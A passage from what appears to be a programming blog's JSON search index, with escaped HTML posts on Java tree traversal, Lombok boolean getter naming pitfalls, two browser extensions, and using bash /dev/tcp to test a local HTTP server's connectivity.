\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTreeNode\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eval\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eval\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eleft\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efindNode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eleft\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eright\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efindNode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eremove\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eboolean\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003efindNode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTreeNode\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTreeNode\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTreeNode\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eval\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eval\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eleft\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efindNode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eleft\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eright\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efindNode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eremove\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Ways of traversing tree"},{"content":"These days Java developers almost universally prefers Lombok because it cuts down on the boilerplate code you have to write while writing new classes.\nSpecifically, it allows to generate getters, setters, toString, hashCode and constructor function automatically.\nHowever, there are some pitfalls which developers must be aware of while using Lombok:\nFor example, when we have boolean fields in our class such as follows:\n@Getter @Setter public class TestBean { private String str; private boolean isNew; private Boolean isOld; } Here is what the Lombok generates by default:\npackage lombok; public class TestBean { private String str; private boolean isNew; private Boolean isOld; public TestBean() { } public String getStr() { return this.str; } public boolean isNew() { return this.isNew; } public Boolean getIsOld() { return this.isOld; } public void setStr(String str) { this.str = str; } public void setNew(boolean isNew) { this.isNew = isNew; } public void setIsOld(Boolean isOld) { this.isOld = isOld; } } Notice the different strategy used to generate the boolean primitive getters/setters and boolean object getters/setters.\nThe isNew getter does not have get prefixed. The isNew setter does not have is keyword which is part of variable.\nWhereas, this is not the cause with Object boolean.\nThis is documented on Lombok page\nFor boolean fields that start with is immediately followed by a title-case letter, nothing is prefixed to generate the getter name.\nAny variation on boolean will not result in using the is prefix instead of the get prefix; for example, returning java.lang.Boolean results in a get prefix, not an is prefix.\nThis is one of the many pitfalls while using Lombok. These discrepancy can cause serialization / deserialization failures if the developer is not aware of the same.\n","permalink":"https://madhur.co.in/blog/2021/02/06/pitfalls-while-using-lombok.html","summary":"\u003cp\u003eThese days Java developers almost universally prefers\n\u003ca href=\"https://projectlombok.org/\"\u003eLombok\u003c/a\u003e because it cuts down on the boilerplate\ncode you have to write while writing new classes.\u003c/p\u003e\n\u003cp\u003eSpecifically, it allows to generate getters, setters, toString, hashCode and\nconstructor function automatically.\u003c/p\u003e\n\u003cp\u003eHowever, there are some pitfalls which developers must be aware of while using\nLombok:\u003c/p\u003e\n\u003cp\u003eFor example, when we have boolean fields in our class such as follows:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nd\"\u003e@Getter\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nd\"\u003e@Setter\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eTestBean\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eboolean\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisNew\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBoolean\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisOld\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eHere is what the Lombok generates by default:\u003c/p\u003e","title":"Pitfalls while using Lombok with Java Development"},{"content":"This extension adds the Format button to the LeetCode code editor. Currently supported programming languages are Java, JavaScript and TypeScript.\nAvailable for both Google Chrome and Firefox.\nDownload here for Firefox\nDownload here for Chrome\n","permalink":"https://madhur.co.in/blog/2021/01/18/leetcode-format.html","summary":"\u003cp\u003eThis extension adds the Format button to the LeetCode code editor. Currently supported programming languages are Java, JavaScript and TypeScript.\u003c/p\u003e\n\u003cp\u003eAvailable for both Google Chrome and Firefox.\u003c/p\u003e\n\u003cimg src=\"/images/format-demo.gif\" /\u003e\n\u003cp\u003e\u003ca href=\"https://addons.mozilla.org/en-US/firefox/addon/leetcode-format/\"\u003eDownload here for Firefox\u003c/a\u003e\u003cbr\u003e\n\u003ca href=\"https://chrome.google.com/webstore/detail/leetcode-format/imogghebhifnnlgogigikjecilkicfpp?hl=en\"\u003eDownload here for Chrome\u003c/a\u003e\u003c/p\u003e","title":"LeetCode Format"},{"content":"Quick update that I created a small Firefox extension to view the current online number of visitors from Google Analytics in the browser tab itself.\nHere its how looks like:\nThe extension can be downloaded from Firefox extensions page\n","permalink":"https://madhur.co.in/blog/2020/12/27/realtime-google-analytics-firefox-tab.html","summary":"\u003cp\u003eQuick update that I created a small Firefox extension to view the current online\nnumber of visitors from Google Analytics in the browser tab itself.\u003c/p\u003e\n\u003cp\u003eHere its how looks like:\u003c/p\u003e\n\u003cp\u003eThe extension can be downloaded from \u003ca href=\"https://addons.mozilla.org/en-US/firefox/addon/google-analytics-count-in-tab/\"\u003eFirefox extensions\npage\u003c/a\u003e\u003c/p\u003e\n\u003cimg src=\"/images/realtime-analytics.png\"\u003e","title":"Realtime Google Analytics in Firefox tab"},{"content":"Recently, I read an article on Sockets in your shell and I thought it was amazing find for me.\nLot of times especially working with docker, I had to install tools like telnet, nc and curl to check basic connectivity.\nLittle did I realize that this functionality is inbuilt into shell.\nFor ex, let\u0026rsquo;s say we have a basic http server running in local as follows:\nconst http = require(\u0026#39;http\u0026#39;); const requestListener = function (req, res) { console.log(\u0026#34;Request recieved\u0026#34;); res.writeHead(200); res.end(\u0026#39;Hello, World!\u0026#39;); } const server = http.createServer(requestListener); server.listen(8080); How would you send the request to this port without telnet, browser, curl and nc from terminal? Answer is:\nprintf \u0026#34;GET /\\n\\n\u0026#34; \u0026gt; /dev/tcp/localhost/8080 Its as simple as that. The only downside is that it wont be possible to know if the data was successfully submitted to port 8080 or not. However, there is a simple workaround for that:\n#!/bin/bash if exec 3\u0026gt;/dev/tcp/localhost/8000 ; then echo \u0026#34;server up!\u0026#34; else echo \u0026#34;server down.\u0026#34; fi Quoting from the article:\nIf you’re unfamiliar, exec without any arguments is used to redirect file descriptors and files. By associating fd 3 with /dev/tcp/localhost/4000, it attempts to create a file there and thus a connection. We use \u0026gt; to open the socket \u0026gt; for writing, although we don’t need to write anything in this case.\n","permalink":"https://madhur.co.in/blog/2020/12/13/sockets-in-shell.html","summary":"\u003cp\u003eRecently, I read an article on \u003ca href=\"https://who23.github.io/2020/12/03/sockets-in-your-shell.html\"\u003eSockets in your shell\u003c/a\u003e and I thought it was amazing find for me.\u003c/p\u003e\n\u003cp\u003eLot of times especially working with docker, I had to install tools like telnet, nc and curl to check basic connectivity.\u003c/p\u003e\n\u003cp\u003eLittle did I realize that this functionality is inbuilt into 